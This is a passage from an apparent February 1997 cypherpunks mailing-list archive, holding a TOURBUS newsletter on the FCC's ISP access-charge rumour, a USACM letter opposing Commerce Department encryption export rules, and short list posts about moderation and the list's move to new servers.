employee, she is a secretary, and her job is to transfer all incoming telephone calls into voice mail hell. :) Actually, I talked to some nice people at the FCC who faxed me a 10 page explanation of what's *really* going on. Unfortunately, the 10 page explanation was written in "FCC-ese," so I am going to have to translate their explanation into English for you (and I can assure you that, since I know *NOTHING* about telephony, my translation will probably contain a few inaccuracies; if it does, please let me know). First, some local telephone companies have indeed asked the FCC to allow them to assess a per minute access charge on the telephone lines used by Internet Service Providers. Local telephone companies currently charge long-distance carriers (like AT&T and MCI) an interstate access charge for the long-distance traffic that travels over their local lines, and the local telephone companies would like to see this charge extended to include the high-speed lines that your local Internet Service Provider uses to access the Internet. In December, the FCC rejected the telephone companies' request and tentatively concluded "that the existing pricing structure for information services should remain in place." In other words, the FCC has tentatively concluded that Internet service providers should *NOT* be subject to the interstate access charges that local telephone companies currently assess on long-distance carriers. The FCC now seeks the public's comments on this conclusion. Unfortunately, the "warning" letter that is currently circulating around the Internet gives the impression that some sort of sinister operation is afoot here, that the FCC and the telephone companies are trying to sneak this proposal through without anyone noticing, and that it is up to each and every one of us to stop the evil FCC. What garbage. In fact, the FCC has, at least tentatively, REJECTED the telephone companies' proposal. The FCC is now simply asking you if you agree or disagree with their decision. The most disappointing aspect of this whole situation is that because of the misinformation that has been distributed across the Internet over the past couple of weeks, the FCC has received 100,000+ e-mail letters, most of which flame them for making a decision that EVERYONE AGREES WITH! Hands down, the flaming of the FCC is one of the Internet's most shameful acts ever. I also discovered another thing about the FCC that increased my respect for their organization one-hundred-fold. Part of the 10 page explanation that the FCC sent me states that their "existing rules have been designed for traditional circuit-switched voice networks, and thus may hinder the development of emerging packet-switched data networks." Because of this, the FCC is also seeking the public's comments on the implications of the Internet and its usage through the public switched telephone network. Folks, *ANY* government agency that stops and says 'hey, we can ALWAYS use some more information so that we are better prepared for whatever happens in the future' has earned my respect and admiration. By the way, most of the information that I have shared with you today can be found on the FCC's "ISP" homepage at http://www.fcc.gov/isp.html If you would like to send your comments to the folks at the FCC (the deadline for comments about their decision not to impose interstate access changes on Internet service providers is Friday, February 14th), make sure that you check the FCC's ISP Web page first. At the bottom of this page are some pretty specific instructions on what you need to put in the subject line of you e-mail letter before you submit it to the FCC. Personally, I'm going to leave the poor folks at the FCC alone for a while. They seem to be doing a great job in the face of unnecessary (and misinformed) opposition. TODAY'S ADDRESSES ----------------- http://www.worldvillage.com/wv/hotel/tourbus/archives.htm http://www.educom.edu/web/edupage.html http://www.eff.org/papers/eegtti/eeg_83.html#SEC84 http://www.fcc.gov/isp.html That's it for this week. Have a safe and happy weekend, and make sure that you visit all 3 sponsors who made today's TOURBUS post possible: Mediadome, Magazines.Com, and ... *--------------------------- MASS MUSIC -----------------------------* More Music For Your Money! Over 185,000 Titles Just A Click Away. FREE Weekly Music Zine - Buy 7 Get 1 FREE Everyday - Treasure Hunt! TOURBUS Rider Discount code: SAVENOW! use it and save 5% *------------------( http://www.Mass-Music.com )-------------------* -------------------------------- TODAY'S SOUTHERN WORD OF THE DAY -------------------------------- LAYMAN (noun). A tart fruit. Usage: "Hunny, git me some more of that layman aid!" (Special thanks goes to Tom Bates for today's word) YOU CAN FIND ALL OF THE OLD SOUTHERN WORDS OF THE DAY ON THE SOUTHERN WORD HOMEPAGE AT http://ua1vm.ua.edu/~crispen/word.html ====================================================================== Join : Send SUBSCRIBE TOURBUS Your Name to LISTSERV at LISTSERV.AOL.COM Leave : Send SIGNOFF TOURBUS to LISTSERV at LISTSERV.AOL.COM Info : On the Web at http://www.worldvillage.com/tourbus.htm Advertising: E-mail BobRankin at MHV.net w/ Subject: SEND TBRATES =--------------------------------------------------------------------= For info on my new book "Atlas for the Information Superhighway" send an e-mail letter to LISTSERV at UA1VM.UA.EDU that says GET ATLAS INFO F=MAIL in the body of your e-mail letter ====================================================================== TOURBUS - (c) Copyright 1997, Patrick Crispen and Bob Rankin All rights reserved. Redistribution is allowed only with permission. Send this copy to 3 friends and tell them to get on the Bus! (\__/) .~ ~. )) /O O ./ .' Patrick Douglas Crispen {O__, \ { The University of Alabama / . . ) \ crispen at campus.mci.net |-| '-' \ } http://ua1vm.ua.edu/~crispen/ .( _( )_.' '---.~_ _ _& Warning: squirrels. From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 14 16:18:25 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 14 Feb 1997 16:18:25 -0800 (PST) Subject: RRE: USACM analysis of Commerce Dept crypto export proposals Message-ID: <01IFF105ETE89AN9VD@mbcl.rutgers.edu> From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 08:14:58.81 To: IN%"rre at weber.ucsd.edu" CC: Subj: USACM analysis of Commerce Dept crypto export proposals =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 13 Feb 1997 22:15:40 -0500 From: Lauren Amy Gelman [...] February 12, 1997 Nancy Crowe Regulatory Policy Division Bureau of Export Administration Department of Commerce Room 2705 14th Street and Pennsylvania Ave., N.W. Washington, D.C. 20230. Docket No. 960918265-6366-03 Dear Ms. Crowe The United States Public Policy Committee for the Association for Computing (USACM) welcomes this opportunity to submit our views on the Interim Rule issued by the Department of Commerce with regard to "Encryption Items Transferred From the United States Munitions List to the Commerce Control List." The USACM believes it is in the best interest of the U.S. government to promote the widespread use of strong encryption. >From our perspective the Interim Rule fails to recognize the legitimate needs and interests of academic, professional, scientific, and ordinary users of telecommunications technology. Thus, the Interim Rule must be modified before it can resolve the many problems with the current export controls on encryption technologies. Introduction and Summary The Association for Computing is an international professional society whose 76,000 members (60,000 in the U.S.) represent a critical mass of computer scientists in education, industry, and government. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We have identified a number of serious problems with specific provisions of the Interim Rule. As a professional society of computer scientists which produces a number of peer-reviewed technical journals, we are concerned that the Interim Rule will hamper both communication and education in our field. Part 7.34.3 (b)(3) which refers to the distinction between printed and electronic publications of cryptographic materials is unworkable under the new paradigms of electronic publishing and communications. Electronic media, including the World Wide Web, listserves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Provisions of the Rule, specifically Parts 7.34.9 and 744.9, which affect teaching cryptography to foreign students are vague and contradictory. Educational environments are not limited to academic institutions but also occur in national and industry labs and by distance education. Restrictions on cryptography exports must not interfere with the traditional freedom of access over digital networks which is indispensable to maintain motivated and effective academic and research communities. We also believe that the development of public policies and technical standards for communications technologies, such as a Key Recovery Infrastructure (KRI), raise vital issues of privacy, competitiveness, and scientific innovation. Parts 740.8 and 742.15 raise a number of troubling issues for the computing community. We believe it is unwise for the Commerce Department to link relaxing export controls on 56-bit encryption to the development of a KRI as both the desirability and the feasibility of such a system remains uncertain. Key recovery products have not yet been subject to the vigorous testing necessary for a proposed standard and there is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Also, Supplement No. 7 to part 742 (which requires that businesses who wish to export 56-bit encryption before 1998 submit a biannual business plan for developing key recovery products) will stifle the innovation of new cryptography technologies and discourage the process of scientific innovation. We believe the Commerce Department should not promulgate regulations which prohibit U.S. research and development from responding to market demands and limit the ability of Americans using new on-line services to protect their privacy. Analysis The USACM has identified electronic publication, education, research and development, key recovery, and privacy as problematic areas which need addressing. We have outlined our concerns below: Electronic Publishing It is unreasonable and unconstitutional to distinguish between printed and electronic distribution of encryption source code as set forth in the note to Part 7.34.3 (b)(2) and (b)(3). A Federal Court in California has ruled in Bernstein v. U.S. Department of State that source code is speech and is thus protected under the first amendment. This distinction is also currently being challenged in a federal court in the District of Columbia in Karn v. U.S. Department of State. The USACM joined the Electronic Privacy Information Center, the American Civil Liberties Union, and the Internet Society in submitting an Amici Curiae brief in the case which argued that such language is an impermissible regulation aimed at the suppression of expression. As computer scientists we see no practical reason why the Commerce Department should insist on creating a distinction when one does not exist. The ACM is the publisher of numerous scientific publications and conference proceedings. They range from our flagship journal Communications of the ACM (CACM) to the on-line, peer-reviewed journal Experimental Algorithms. All 76,000 members of ACM, including 15,000 members overseas, receive CACM by mail and have access to ACM's on-line publications. ACM foresees a time when all its publishing will be electronic and on-line. At that time, it will need interoperable encryption technology available in the U.S. and in its mirror sites abroad to dispense its material. Its subscribers worldwide will need access to secure, commercial encryption as well. An article which described the development of a new cryptographic algorithm would likely appear in one of the many technical journals or conference proceedings published by ACM or the Institute for Electronics and Electrical Engineers (IEEE), another international professional society. In fact a number of the groundbreaking articles in the field of cryptography science were originally published by ACM and IEEE. Publication of encryption algorithms is extremely important to the field of cryptography. In order for an algorithm to be trusted, it must be challenged. To do that, the code must be made widely available. Foreign members of ACM will be unable to access in electronic format the same articles they currently receive in the printed journal. And, it is technically impossible, at this late date, to partition ACM's publications into distinct paper and electronic (hence encryptable) media. Electronic communications, including the World Wide Web, list serves, Usenet news groups, and video conferencing are becoming the prominent means by which scientists communicate. Science is a global pursuit and there exists a open communications network between scientists in different countries. Part 734.2 which prohibits making cryptographic software available outside the U.S. will not only eliminate this international communication but also technical communication among U.S. scientists. In electronic communications it is not always clear to whom the information is being transmitted. WWW sites and Usenet news groups are accessible by anyone with a modem. Video conferences can be retransmitted overseas and moderated listserves are difficult to control. The Interim Rule refers to an individual taking "precautions adequate to prevent unauthorized transfer of such code outside the U.S." It is our belief that it would be impossible to be certain of any precautions taken. This will effectively eliminate all communications on electronic media that describe or discuss cryptographic source code. We believe the interim rule must be revised to eliminate the distinction between printed and electronic source code and to allow for open communications within scientific communities. Restricting these communications will retard the evolution of the science and the development of new algorithms and cryptographic devices. Education Many ACM members are computer science professors and teachers, so we are concerned about the contradictions in the proposed regulations with regards to education. A number of fields and sub-fields address cryptography as part of their curricula. Part 734.9 states that "Educational Information" is not subject to the new regulations if it is "released by instruction in catalog courses and associated teaching laboratories of academic institutions." Computer science, mathematics, engineering, and electronic security may all include technical instruction in encryption technologies and would be covered in U.S. university classrooms. However, questions arise with regard to distance and home or overseas education because of Part 744.9. It states that "No U.S. person may, without a license from BXA, provide technical assistance (including training) to foreign persons with the intent to aid a foreign person in the development or manufacture outside the United States..." While Part 744.9 defines a U.S. person it does not define "technical assistance" or "training." It is uncertain whether a U.S. professor teaching a course in which foreign students are registered, or teaching a course in cryptography overseas would be "training" a foreigner to develop a cryptographic device if the course work was more detailed than "a discussion of information about cryptography." This would affect course studies as disparate as 'number theory' and 'local area networks'. Also, educational environments are not limited to academic institutions but are also found in national and industry labs. Many computer scientists receive their first hands on training after they graduate from their University. It is unclear whether this "training" or "technical assistance" is in violation of the Interim Rule. The intent of the training is give the new employee the practical tools necessary to participate in the field of cryptography science, and is not necessarily intended to be project or employer specific. While the General prohibition in Part 744.9 discusses the meaning of intent as applied to an academic setting, it is not clear if "academic setting" can be applied to instruction which occurs outside of the University environment. The argument made previously with regard to digital media also applies to education. As part of their course work, students often use electronic media as resources (WWW, digital libraries, CD-ROMs), as a communication device for the class outside the classroom (electronic mail, listserves), and to learn from listening to the discussions among research scientists (Usenet groups, listserves). Part 7.34.3 (b)(3) which covers encryption source code in electronic form or media will restrict these types of educational instruction. Instructors will be unable to take advantage of digital media in their courses. Students studying cryptography will be unfairly disadvantaged as they will be unable to access valuable resources even in the process of furthering their education. The USACM believes the contradictions in Parts 7.34 and 744.9 must be resolved in a clear manner so educators are not required to reduce the quality of their courses for fear of misinterpreting the Interim Rule. Specifically, "academic setting," "training," and "technical assistance" must be defined, and distance education, and academic research and communication must be addressed. Research and Development Encryption policies must reflect the needs of the global market. The international demand for products which incorporate strong cryptographic tools is growing. Such products are widely available and produced by a number of nations. U.S. scientists have been prominent in the development of current encryption technologies. The field has developed though research and development efforts along many different tangents, only one of which describes key recovery products. There is little evidence that the demand for cryptography tools is limited to those products which incorporate key recovery protocols. Part 742.15 (which states that businesses must submit a business plan for the development of key recovery products before they may export 56- bit software; the license must be renewed biannually until 1998 when only key recovery products will be allowed for export) will restrict the U.S. to producing only products which incorporate KRI protocols. Mandating that businesses develop key recovery products will also impede the natural market development of novel and innovative systems. Part 740 hypothesizes that a worldwide KRI will be desirable, feasible, and in place by 1998. However it is unclear whether key recovery is the best alternative. Research along new tangents will continue in non- industry and non-U.S. settings. A new protocol may be discovered which is considered a better choice for a worldwide infrastructure. There will exist a great market demand for variety in choosing a security system to fit the needs of the distinct commercial group. If this happens U.S. scientists and industry will be at a disadvantage as they will have only a core competence in key recovery protocols as per Part 740.8. There are a variety of commercial groups interested in utilizing the Internet for business interactions and transactions. Without interoperable encryption programs, commercial needs in an increasing global environment cannot be met. Supplement No. 4 to Part 742 states that a product can not interact with another product whose key recovery system has been "altered, bypassed, disabled, or otherwise rendered inoperative." This will be a major source of problems for researchers and educators, as well as government and commercial institutions. The result of a system not being able to talk to another system because of an intentional or accidental disabling of the KRI protocols can have a very large impact on telemedicine, research, government operations, and commercial enterprises. The USACM believes the Interim Rule should be rewritten to avoid dissuading innovation and development and eliminating the U.S.'s core competency in cryptography. It should also recognize the need for consistency in interoperable systems. Key Recovery The USACM recognizes that there is a real market demand for key recovery products from business and government employers. However, the viability of a KRI has not yet been determined. It has not yet been subject to the vigorous testing necessary for a proposed standard. There is little understanding of how such a system would operate and what controls would be needed to ensure that it remained secure. Part 740 describes the development of a Key Recovery Infrastructure within two years. We believe it is unwise for the United States to insist on the development of a untested, unproved technology for a worldwide infrastructure. The National Research Council report stated that a feasibility study needed to be performed on a smaller scale before key escrow could be seriously proposed for commercial applications. We believe this warning applies to KRI as well. While key recovery tools may be appropriate in some settings, we believe it would be wrong to impose such restrictions on users or businesses and the Interim Rule should not dictate that businesses limit their research to a potentially unworkable system. Privacy The USACM believes that certain principles should be reflected in a national cryptography policy. Encryption should be used for privacy protection and to encourage the development of technologies and institutional practices which will provide real privacy for the future users of the NII and real security for the protection of the system. The USACM believes that transferring the regulation of cryptography to the Commerce Department could establish United States leadership in protecting the privacy rights of its citizens. However the Interim Rule fails to do that. Conclusion We recognize that the government has a legitimate interest in protecting national security. However, whether or not the worldwide infrastructure is achieved, the role of national security agencies will remain difficult. The government's proposal to balance national security, business, and privacy interests by creating a Key Recovery Infrastructure within the next two years is overly aggressive. We suggest that the development of a policy that serves the long term interests of our nation's security will not be one based on a Key Recovery Infrastructure, but rather one that anticipates the widespread availability of strong encryption and the multifaceted demands of a global economy. Toward that end, the interests in protecting open research within the U.S. academic community will be crucial. Sincerely, Barbara Simons, Ph.D Chair, United States Public Policy Office for the Association for Computing The ACM, founded in 1947, is an international non-profit educational and scientific society dedicated to the development and use of information technology, and to addressing the impact information technology has on the world's major social challenges. The Association's activities include the publication of scholarly journals and the sponsorship of special interest groups (SIGS) in numerous disciplines. ACM has 76,000 members. The 60,000 who reside in the United States are academic, professional, scientific, and ordinary users of telecommunications technology and have a strong interest in the development of sound encryption policies. The USACM provides a means for promoting dialogue on technology policy issues with United States policy makers and the general public. We respond to requests for information and technical expertise from United States government agencies and departments, seeks to influence relevant United States government policies on behalf of the computing community and the public, and provides information to the ACM on relevant United States government activities. ---------------------------------------------------------------------------- ---------------------------------------------------------------------------- Lauren Amy Gelman gelmanl at gwis2.circ.gwu.edu George Washington University gelman at epic.org Science, Technology, and Public Policy Program gelman at acm.org From kent at songbird.com Fri Feb 14 16:46:50 1997 From: kent at songbird.com (Kent Crispin) Date: Fri, 14 Feb 1997 16:46:50 -0800 (PST) Subject: Private property & the cypherpunks list(s) (fwd) In-Reply-To: <199702141611.IAA09307@toad.com> Message-ID: <199702150150.RAA23778@songbird.com> Declan McCullagh allegedly said: > > > On Fri, 14 Feb 1997, Jim Choate wrote: > > > I am taking intellectual property rights from nobody. If anything I am > > giving unlimited intellectual rights to the material to humankind for > > posterity. Sorta cypherpunkish, don't you think? > > I am amused by this. Jim's plan sounds much less cypherpunkish than > collectivist. Communal property, ho! > > After all, workers have nothing to lose in this revolution but their > chains. They have a world to gain. Workers of the world, unite! Ad hominems are so much fun, eh? -- Kent Crispin "No reason to get excited", kent at songbird.com,kc at llnl.gov the thief he kindly spoke... PGP fingerprint: 5A 16 DA 04 31 33 40 1E 87 DA 29 02 97 A3 46 2F From omegam at cmq.com Fri Feb 14 17:09:24 1997 From: omegam at cmq.com (omegam at cmq.com) Date: Fri, 14 Feb 1997 17:09:24 -0800 (PST) Subject: Procmail during the transition, anyone? In-Reply-To: <199702131958.LAA09852@toad.com> Message-ID: <199702150108.TAA09128@jolietjake.com> ichudov at algebra.com writes: > subs-cri-be to the unedited list. Nope. I get duplicates with new ID's here, and I have duplicate ID removing recipe enabled. I am subscribed to the list as cyberpass.net now, and not on toad anymore, al least I shouldn't be. Should be resolved by the 20th ;). me -- --------------------------------------------------------------------- Omegaman |"When they kick out your front door, PGP Key fingerprint = | How are you gonna come? 6D 31 C3 00 77 8C D1 C2 | With your hands upon your head, 59 0A 01 E3 AF 81 94 63 | Or on the trigger of your gun?" Send email with "get key" as the| -- The Clash, "Guns of Brixton" "Subject:" to get my public key | _London_Calling_ , 1980 --------------------------------------------------------------------- From aba at dcs.ex.ac.uk Fri Feb 14 17:11:37 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Fri, 14 Feb 1997 17:11:37 -0800 (PST) Subject: Good Bye Cypherpunks! Message-ID: <199702150111.RAA20329@toad.com> Tim May writes: > [...] > By the way, I can forward to those who are interested these four or five > posts which got "Meta-Censored." (Unless too many people request > them...I'll promise to forward them to the first five people who request > them...then some of you can repost them to the list and see if they make it > through.) I'd like to see them. In fact I'd like to collect the posts which slipped through the crack and didn't make it to either cp-flames or cp, on the assumption that these are the posts which tell the story. In particular I'd like to see the post that John Gilmore refered to as `Mr Nemesis' post, wherein someone allegedly slanders/libels C2, to the extent that Sandy dropped it from both lists, if anyone who was subscribed to cypherpunks-unedited at the time has it still. Unfortunately I was subscribed to only cypherpuks-flames and cypherpunks (the edited list) at the time, so didn't get to see it. I'm on Lance Cottrell's cypherpunks at cyberpass.net now, which is subscribed to the cypherpunks-unedited list. At the moment Lance is setting Reply-To: to cypherpunks at toad.com, but I presume he'll drop that when John Gilmore drops cypherpunks at toad.com. The moderation decisions that I saw prior to moving to cypherpunks-unedited after Sandy's return, and change of policy, were even more arbitrary. I figured I wasn't even interested to see what they were any more, given that the cypherpunks at toad.com was shortly being closed anyway, so just subscribed to cypherpunks-unedited. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 07:16:51.99 To: IN%"rre at weber.ucsd.edu" CC: Subj: Fear and Loathing at the FCC [Forwarded with permission. This is the closest thing I've found to real research on the FCC-access-charges-for-ISP's action alert you have no doubt seen recently. Right or wrong, this was an incredibly badly designed alert. Please let me recommend that you *never* forward any kind of alert message unless it is signed, includes detailed background information or at least a URL that points to background information, and includes a time-out date. For more information on the proper construction of Internet action alerts, see http://communication.ucsd.edu/pagre/tno/january-1994.html#action ] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 13 Feb 1997 20:18:54 -0600 From: Patrick Douglas Crispen Subject: TOURBUS -- 13 FEBRUARY 1997 -- EDUPAGE / FEAR AND LOATHING AT THE FCC /~~~~~~~~~|~~~~~~~~~~~~/~~~~~~~~~|~~~~~~~~~~|~~~~~~~~~~~~/~~~|~~\ | FREE FUGEES CD - WIN AT WWW.MEDIADOME.COM / | \ |__________|__________/___________|__________|__________/ | \ / /______|-----\ | Haven't come to Mediadome(sm) yet? We're still |//////| | | giving away free Fugees CDs. Just sign up for |//////| | | our digital dispatch-better hurry, only 4 more |//////| | | days! Come see our Fugees Webisode & play the |//////| | | 'Video' game - based on the Fugees' hit song & |//////| | | video, 'Ready Or Not'- only at www.mediadome.com |//////| | ~~~/~~~\~~/~~~\~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~/~~~\~~~~~ \___/ \___/ T h e I n t e r n e t T o u r B u s \___/ TODAY'S STOP: EDUPAGE / FEAR AND LOATHING AT THE FCC TODAY'S ADDRESSES: http://www.worldvillage.com/wv/hotel/tourbus/archives.htm http://www.educom.edu/web/edupage.html http://www.eff.org/papers/eegtti/eeg_83.html#SEC84 http://www.fcc.gov/isp.html Hi, kids! Put your seat belts on, because our latest adventure is about to get under way! Before we pull out of the terminal, though, can I interest anyone in a magazine or two? :) +--- HUGE TOURBUS SAVINGS ON THE HOTTEST MAGAZINE SUBSCRIPTIONS! ----+ Time, Newsweek, Money, PC Magazine, ZD Internet, Net, Yahoo, and tons more! Plus, pick from 50 FREE subscriptions. Send email now to: +-------------------- ( tourbus at magazines.com ) ---------------------+ By the way, I have a sinking feeling that a few of you may want to forward part of today's post to some of your friends. I would be happy if you did this -- just make sure that you give credit where credit is due. :) EDUPAGE ------- I think I am losing my mind. I distinctly remember pulling our little bus of Internet happiness into Edupage before, but for the life of me I can't find a copy of that post anywhere in the TOURBUS archives (which, by the way, can be found on the World Wide Web at http://www.worldvillage.com/wv/hotel/tourbus/archives.htm). Anyway, Edupage is an absolutely wonderful, free, e-mail-based "summary of news items on information technology, and is provided three times each week as a service by Educom -- a consortium of leading colleges and universities seeking to transform education through the use of information technology." Edupage is actually a misnomer, because Edupage doesn't really talk about education. Rather, Edupage send you one paragraph summaries of technology stories printed in leading newspapers and magazines (like Business Week, Information Week, Forbes, etc.). Each issue of Edupage usually contains between 6 and 10 of these summaries. If you want to subscribe to Edupage (remember, it's FREE), just send an e-mail letter to LISTPROC at EDUCOM.UNC.EDU with the command SUBSCRIBE EDUPAGE YOURFIRSTNAME YOURLASTNAME in the body of your e-mail letter, replacing YOURFIRSTNAME and YOURLASTNAME with your first and last names. You can also find Edupage on the Web at http://www.educom.edu/web/edupage.html Edupage is clearly one of my favorite resources on the Net. It provides cutting-edge technology information in a size that is easy to digest, and as a professional college student I *often* find myself quoting and applying the information that I have found in Edupage. FEAR AND LOATHING AT THE FCC ---------------------------- Over the past couple of weeks, you may have received e-mail letters telling you that Many local telephone companies have filed a proposal with the FCC [The United States' Federal Communications Commission] to impose per minute charges for Internet service. They contend that use of Internet has or will hinder the operation of the telephone network. At first, I thought that this was simply a new version of the old "modem tax" hoax (http://www.eff.org/papers/eegtti/eeg_83.html#SEC84) that has been floating around the Net since *1987*. After all, the current FCC story has all of the markings of a classic urban legend: 1. It uses official-looking language; 2. It mentions a government agency or an organization with which everyone is familiar; 3. It contains a plea for you to take some sort of immediate action; and 4. It requests that you forward the warning letter to as many people as possible. Besides, according to an article that appeared in this morning's Edupage, ONLINE COMPANIES ASK TELCOS, "WHERE'S THE BEEF?" Tired of telephone companies' complaints that Internet usage is overwhelming their network capacity, the Internet Access Coalition has released findings contending that Net usage is, in reality, a bonanza for the Bells. The study found that local carriers received a total of $1.4 billion in 1995 in revenues resulting from the installation of second lines in homes, while spending only $245 million to beef up their networks for the additional usage. A Bell Atlantic spokesman says the real problem is that the telcos have no idea when a line will be used for data rather than voice, and thus tied up longer. Both sides agree that the ultimate solution is higher capacity networks. (Business Week 17 Feb 97) Well, out of curiosity -- and out of a deep-felt desire to avoid studying for the two major economics tests that I have next week -- your fearless bus driver decided to call the FCC in Washington to see if anyone there was willing to talk about this rather explosive issue. Unfortunately, I soon discovered that the FCC only has one employee, she is a secretary, and her job is to transfer all incoming telephone calls into voice mail hell. :) Actually, I talked to some nice people at the FCC who faxed me a 10 page explanation of what's *really* going on. Unfortunately, the 10 page explanation was written in "FCC-ese," so I am going to have to translate their explanation into English for you (and I can assure you that, since I know *NOTHING* about telephony, my translation will probably contain a few inaccuracies; if it does, please let me know). First, some local telephone companies have indeed asked the FCC to allow them to assess a per minute access charge on the telephone lines used by Internet Service Providers. Local telephone companies currently charge long-distance carriers (like AT&T and MCI) an interstate access charge for the long-distance traffic that travels over their local lines, and the local telephone companies would like to see this charge extended to include the high-speed lines that your local Internet Service Provider uses to access the Internet. In December, the FCC rejected the telephone companies' request and tentatively concluded "that the existing pricing structure for information services should remain in place." In other words, the FCC has tentatively concluded that Internet service providers should *NOT* be subject to the interstate access charges that local telephone companies currently assess on long-distance carriers. The FCC now seeks the public's comments on this conclusion. Unfortunately, the "warning" letter that is currently circulating around the Internet gives the impression that some sort of sinister operation is afoot here, that the FCC and the telephone companies are trying to sneak this proposal through without anyone noticing, and that it is up to each and every one of us to stop the evil FCC. What garbage. In fact, the FCC has, at least tentatively, REJECTED the telephone companies' proposal. The FCC is now simply asking you if you agree or disagree with their decision. The most disappointing aspect of this whole situation is that because of the misinformation that has been distributed across the Internet over the past couple of weeks, the FCC has received 100,000+ e-mail letters, most of which flame them for making a decision that EVERYONE AGREES WITH! Hands down, the flaming of the FCC is one of the Internet's most shameful acts ever. I also discovered another thing about the FCC that increased my respect for their organization one-hundred-fold. Part of the 10 page explanation that the FCC sent me states that their "existing rules have been designed for traditional circuit-switched voice networks, and thus may hinder the development of emerging packet-switched data networks." Because of this, the FCC is also seeking the public's comments on the implications of the Internet and its usage through the public switched telephone network. Folks, *ANY* government agency that stops and says 'hey, we can ALWAYS use some more information so that we are better prepared for whatever happens in the future' has earned my respect and admiration. By the way, most of the information that I have shared with you today can be found on the FCC's "ISP" homepage at http://www.fcc.gov/isp.html If you would like to send your comments to the folks at the FCC (the deadline for comments about their decision not to impose interstate access changes on Internet service providers is Friday, February 14th), make sure that you check the FCC's ISP Web page first. At the bottom of this page are some pretty specific instructions on what you need to put in the subject line of you e-mail letter before you submit it to the FCC. Personally, I'm going to leave the poor folks at the FCC alone for a while. They seem to be doing a great job in the face of unnecessary (and misinformed) opposition. TODAY'S ADDRESSES ----------------- http://www.worldvillage.com/wv/hotel/tourbus/archives.htm http://www.educom.edu/web/edupage.html http://www.eff.org/papers/eegtti/eeg_83.html#SEC84 http://www.fcc.gov/isp.html That's it for this week. Have a safe and happy weekend, and make sure that you visit all 3 sponsors who made today's TOURBUS post possible: Mediadome, Magazines.Com, and ... *--------------------------- MASS MUSIC -----------------------------* More Music For Your Money! Over 185,000 Titles Just A Click Away. FREE Weekly Music Zine - Buy 7 Get 1 FREE Everyday - Treasure Hunt! TOURBUS Rider Discount code: SAVENOW! use it and save 5% *------------------( http://www.Mass-Music.com )-------------------* -------------------------------- TODAY'S SOUTHERN WORD OF THE DAY -------------------------------- LAYMAN (noun). A tart fruit. Usage: "Hunny, git me some more of that layman aid!" (Special thanks goes to Tom Bates for today's word) YOU CAN FIND ALL OF THE OLD SOUTHERN WORDS OF THE DAY ON THE SOUTHERN WORD HOMEPAGE AT http://ua1vm.ua.edu/~crispen/word.html ====================================================================== Join : Send SUBSCRIBE TOURBUS Your Name to LISTSERV at LISTSERV.AOL.COM Leave : Send SIGNOFF TOURBUS to LISTSERV at LISTSERV.AOL.COM Info : On the Web at http://www.worldvillage.com/tourbus.htm Advertising: E-mail BobRankin at MHV.net w/ Subject: SEND TBRATES =--------------------------------------------------------------------= For info on my new book "Atlas for the Information Superhighway" send an e-mail letter to LISTSERV at UA1VM.UA.EDU that says GET ATLAS INFO F=MAIL in the body of your e-mail letter ====================================================================== TOURBUS - (c) Copyright 1997, Patrick Crispen and Bob Rankin All rights reserved. Redistribution is allowed only with permission. Send this copy to 3 friends and tell them to get on the Bus! (\__/) .~ ~. )) /O O ./ .' Patrick Douglas Crispen {O__, \ { The University of Alabama / . . ) \ crispen at campus.mci.net |-| '-' \ } http://ua1vm.ua.edu/~crispen/ .( _( )_.' '---.~_ _ _& Warning: squirrels. From EALLENSMITH at ocelot.Rutgers.EDU Fri Feb 14 17:12:04 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Fri, 14 Feb 1997 17:12:04 -0800 (PST) Subject: RRE: Cybersitter Message-ID: <199702150112.RAA20370@toad.com> From: IN%"rre at weber.ucsd.edu" 14-FEB-1997 05:21:41.54 To: IN%"rre at weber.ucsd.edu" CC: Subj: Cybersitter [Forwarded with permission.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Thu, 30 Jan 97 08:23:58 -0500 (EST) From: kkc at COMPETITOR.NET(K.K. Campbell) Subject: Cybersitter & Wallace ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ WHO'S WATCHING THE 'WATCHERS'? ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ by K.K. CAMPBELL Net.column The Toronto Star Thursday, January 30, 1997 One of 